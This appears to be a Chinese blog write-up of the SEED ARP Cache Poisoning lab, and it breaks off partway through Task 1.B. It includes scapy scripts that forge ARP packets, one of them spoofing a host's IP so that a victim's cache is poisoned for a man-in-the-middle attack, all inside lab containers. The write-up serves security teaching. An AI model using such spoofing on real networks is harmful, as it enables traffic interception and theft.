ARP Cache Poisoning Attack Lab(SEED实验)

ARP Cache Poisoning Attack Lab(SEED实验)

ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段。本实验使用scapy帮助学生通过ARP缓存中毒攻击以完成一场中间人攻击

环境配置

如本人前几次实验以及实验手册所述完成实验配置,这里不再展示。
在这里插入图片描述

Task 1 ARP缓存中毒

ARP报文格式如图:
在这里插入图片描述
使用arp -n可以查看当前系统中的ARP缓存,可以用arp -d ip删除对应缓存。如图使用ping完成通信后系统内就增加了对应的缓存:在这里插入图片描述

生成一个ARP报文的样例:

#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)

完成以下任务:

1.A

(using ARP request). On host M, construct an ARP request packet to map B’s IP address to M’s MAC address. Send the packet to A and check whether the attack is successful or not.
使用请求报文发给A并询问A的地址,同时在SRC中设置自己是谁,以此告诉对方自己的地址。
以下代码从M发出可以完成要求,但切不可从主虚机发出,否则由于A默认填写当前系统的MAC地址,所以会直接失去与A的通信。

#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
A.psrc='10.9.0.6'
A.pdst='10.9.0.5'
pkt = E/A
sendp(pkt)

在这里插入图片描述

1.B

(using ARP reply). On host M, construct an ARP reply packet to map B’s IP address to
M’s MAC address. Send the packet to A and check whether the attack is successful or not. Try the attack under the following two scenarios, and report the results of your attack:

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

winnower-sliff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值